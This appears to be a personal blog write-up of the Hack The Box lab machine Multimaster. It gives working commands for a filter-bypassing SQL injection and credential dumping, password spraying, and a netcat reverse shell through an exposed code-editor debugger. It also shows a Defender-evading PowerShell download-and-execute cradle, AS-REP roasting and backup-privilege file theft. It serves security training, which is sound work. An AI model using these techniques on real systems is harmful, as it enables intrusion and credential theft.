HTB: Multimaster
← Back to the log
October 7, 2026·Johnytiger

HTB: Multimaster

A full-width apostrophe walks straight past the filter and opens a SQL injection. The app’s own user table is a decoy, so the real domain accounts get resolved through the injection itself, and root comes from a code editor left listening with its debugger open.

securityctfwriteuphacktheboxactive directorywindowssql injectionprivilege escalation

Kicking things off with an nmap scan gives us a lot to work with here.

The nmap scan showing IIS, Kerberos, LDAP and SMB for the MEGACORP domain, plus Microsoft SQL Server 2017 on port 1433

A domain controller with a SQL Server bolted on and a web app out front. Let's head over to that app on port 80 and check it out.

The MegaCorp Colleague Finder page, returning staff cards with names, job titles and email addresses for a search on the letter a

Searching for a single letter gives us results, so the search box is clearly querying a database. Trying a few injection payloads gets us blocked by a filter, but it turns out a full-width apostrophe slips past it. The filter is looking for the ordinary character while the database treats the full-width one as a real quote, so it never sees the injection coming.

curl -s http://10.129.95.200/api/getColleagues \
  -H 'Content-Type: application/json' \
  --data-binary $'{"name":"a\xef\xbc\x87"}'

The curl request with the full-width apostrophe in the payload, returning an empty array rather than a block page

We get a normal response back, so we're through the filter. From here it's a standard union injection, sent through a script that escapes every character as a unicode sequence in the JSON body so the filter never sees the raw payload.

a' UNION SELECT 1,@@version,3,4,5--
a' UNION SELECT 1,DB_NAME(),SYSTEM_USER,4,5--
a' UNION SELECT 1,STRING_AGG(table_schema+'.'+table_name,'|'),3,4,5 FROM information_schema.tables--
a' UNION SELECT 1,STRING_AGG(column_name,','),3,4,5 FROM information_schema.columns WHERE table_name='Logins'--

The enumeration script walking through version, database name and table listing payloads, revealing SQL Server 2017 and a Logins table

That gives us the version and the schema. There's a Logins table with username and password columns, so let's dump it.

a' UNION SELECT 1,STRING_AGG(username+':'+password,CHAR(10)),3,4,5 FROM Logins--
a' UNION SELECT id,username,password,4,5 FROM Logins--

The dump returning seventeen rows of usernames paired with long password hashes

We have hashes. Rockyou on its own doesn't crack them, so let's park that and try the simplest thing first. Save the usernames to a list and spray them as their own passwords.

nxc smb 10.129.95.200 -u users.txt -p users.txt --no-bruteforce

The spray failing for every account

No hits. Let's try coercing the server into authenticating to us instead.

sudo responder -I tun0 -v

coercer coerce -u '' -p '' -d MEGACORP.LOCAL -t 10.129.95.200 -l 10.10.14.211 --always-continue

Coercer walking the RPC interfaces and finding a path that the server will follow back to our listener

Responder catching an inbound authentication, though it's the machine account rather than a user

We get a hit, but it's the computer account, which won't crack. Back to those database hashes. Rockyou alone and a rules pass both run out of keyspace.

hashcat sql_svc.ntlm /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Hashcat exhausting the wordlist without recovering anything

The problem was the hash type, not the wordlist. Those hashes are much longer than a standard NTLM, and once the right mode is set they fall straight away.

hashcat -m 17900 hashes.txt /usr/share/wordlists/rockyou.txt --potfile-disable

Hashcat in the correct mode cracking several of the hashes and recovering three plaintext passwords

Three passwords recovered. Let's spray them across the users we have.

nxc smb 10.129.95.200 -u users.txt -p passwords.txt --continue-on-success

The spray with all three passwords against all known users, every attempt failing

Still nothing. The passwords are real, so the problem is the user list. The app only shows us colleagues whose name matches a search, and we have been working from one letter. Paging through the directory from A to Z we land on an account that is completely out of place.

The colleague listing showing an account named MinatoTW, listed as CEO with an anime avatar among the stock photos

That is clearly the box author rather than a real entry, which tells us the web app's own user table is not the domain user list. We need the actual domain accounts, and we have no credentials to query the directory with.

The way around it is to resolve account identifiers through the injection itself. SQL Server can translate a security identifier back into a domain username, and the domain identifier came out of earlier unauthenticated enumeration. So we build an identifier for each account number in turn, pass it through the injection, and read the name back out of the response.

a' UNION SELECT 1,2,3,'PRE_' + ISNULL(SUSER_SNAME(CAST(0x<sid> AS varbinary(28))),'X'),5--

Account number 500 is always the Administrator, so that is the sanity check. If the identifier is built correctly the first request resolves to the Administrator and we know the rest will work. Then we walk the range Windows allocates for ordinary users, pausing between requests to stay under the filter.

The cycling script confirming the Administrator on the sanity check, then resolving a run of real domain accounts including tushikikatomo

Now we have genuine domain usernames. Let's spray them with the passwords we cracked.

nxc smb 10.129.95.200 -u 'tushikikatomo' -p passwords.txt --shares

The spray landing a hit, with the account authenticating and a Development share appearing in the listing

We have a hit. Let's check for remote management.

nxc winrm 10.129.95.200 -u tushikikatomo -p finance1

NetExec returning Pwn3d! for the account over WinRM

Let's log in and grab the user flag from the desktop.

Reading user.txt over the remote session, with the flag value blurred out

Now let's map the domain properly.

The BloodHound graph showing Account Operators holding generic rights over Enterprise Key Admins, which in turn can add key credentials to the domain controller

There's a path through Account Operators, so we need to find who sits in that group. Looking through the shares we also find a subdomain to add to our hosts file.

smbclient //10.129.95.200/dfs -U 'MEGACORP.LOCAL\tushikikatomo%finance1' -c 'recurse ON; ls'

The share pointing at an FSMO hostname, with access to the Development drive denied

We can see the Development drive but can't reach it. Rather than keep guessing at the network, let's look at what is actually running on the box.

netstat -ano | findstr LISTENING
Get-Process -Id 3116

The process listing identifying the owner of a high local port as a Visual Studio Code instance

It's a code editor listening on a local port. That matters because the editor is built on a browser engine, and its debugging interface accepts commands from anything that can reach it on loopback.

Invoke-WebRequest -Uri "http://127.0.0.1:62456/json" -UseBasicParsing | Select-Object -ExpandProperty Content

The debugging endpoint returning a Node instance and the websocket URL needed to drive it

That debugger will execute code for us. After some research there's a tool built exactly for this.

The cefdebug release on GitHub

We upload it along with netcat. The debugger identifier changes every time the editor restarts, so we loop until it comes back with a live one.

while ($true) {
  .\cefdebug.exe 2>&1 | Tee-Object -Variable out
  if ($out -match "ws://") { Write-Host "`n*** HIT ***" -ForegroundColor Green; break }
  Start-Sleep -Seconds 10
}

The loop catching a live debugger instance and printing its websocket address

Now we execute through it.

.\cefdebug.exe --code "process.mainModule.require('child_process').exec('C:\Users\alcibiades\Documents\nc.exe 10.10.14.211 443 -e powershell.exe')" --url ws://127.0.0.1:1362/<uuid>

The command executing but the payload being caught by the endpoint protection before it connects back

It launches but gets eaten by Defender. After encoding the payload a few different ways we finally get through, by base64 encoding a downloader in the wide character format PowerShell expects.

echo -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.211:8000/rev.ps1')" \
  | iconv -t UTF-16LE | base64 -w 0

A listener catching the callback, now running as a different user than the one we logged in with

That worked, and we have landed as a different account entirely, because the editor was running under that user's session.

whoami for the new account showing only the default privileges

This account can reach the web root, so let's look at what the application is built from.

cd C:\inetpub\wwwroot\bin
ls

The application's bin directory, containing the MultimasterAPI library among the framework assemblies

Let's pull that library back to Kali and look for credentials inside it.

copy C:\inetpub\wwwroot\bin\MultimasterAPI.dll \\10.10.14.211\share\

strings -el MultimasterAPI.dll | grep -iE "password|pwd|user id|server=|data source|finder"

The strings output revealing a full database connection string with the password in plaintext

We get a password. That credential turns out to be reused on a domain account with enough rights to change other accounts, so we flip a target account to not require Kerberos preauthentication and roast it.

Set-ADAccountControl -Identity jorden -doesnotrequirepreauth $true

impacket-GetNPUsers megacorp.local/jorden -no-pass -dc-ip 10.129.95.200 -format hashcat -outputfile jorden.hash

GetNPUsers returning an AS-REP hash for the account we just modified

hashcat -m 18200 jorden.hash /usr/share/wordlists/rockyou.txt

Hashcat cracking the AS-REP hash and recovering the plaintext password

That cracks quickly. Let's log in with it and check what we can do.

whoami showing a long privilege list including the backup and restore privileges

A good set of privileges, including backup. Let's head for the root flag.

The attempt to read root.txt directly being refused with access denied

We can't read it directly, but the backup privilege ignores file permissions. We copy it out in backup mode instead.

mkdir C:\temp -Force
cd C:\temp
robocopy C:\Users\Administrator\Desktop C:\temp /b

The copy completing and the flag file readable from the temp directory, with the flag value blurred out

It worked, and we have the root flag.

This box was pretty hard. Finding that editor instance had me going all over the machine. Lesson learned here is to enumerate even the processes currently running on the computer, because you never know what you will find.

End of transmissionAll posts
Drive
Johnytiger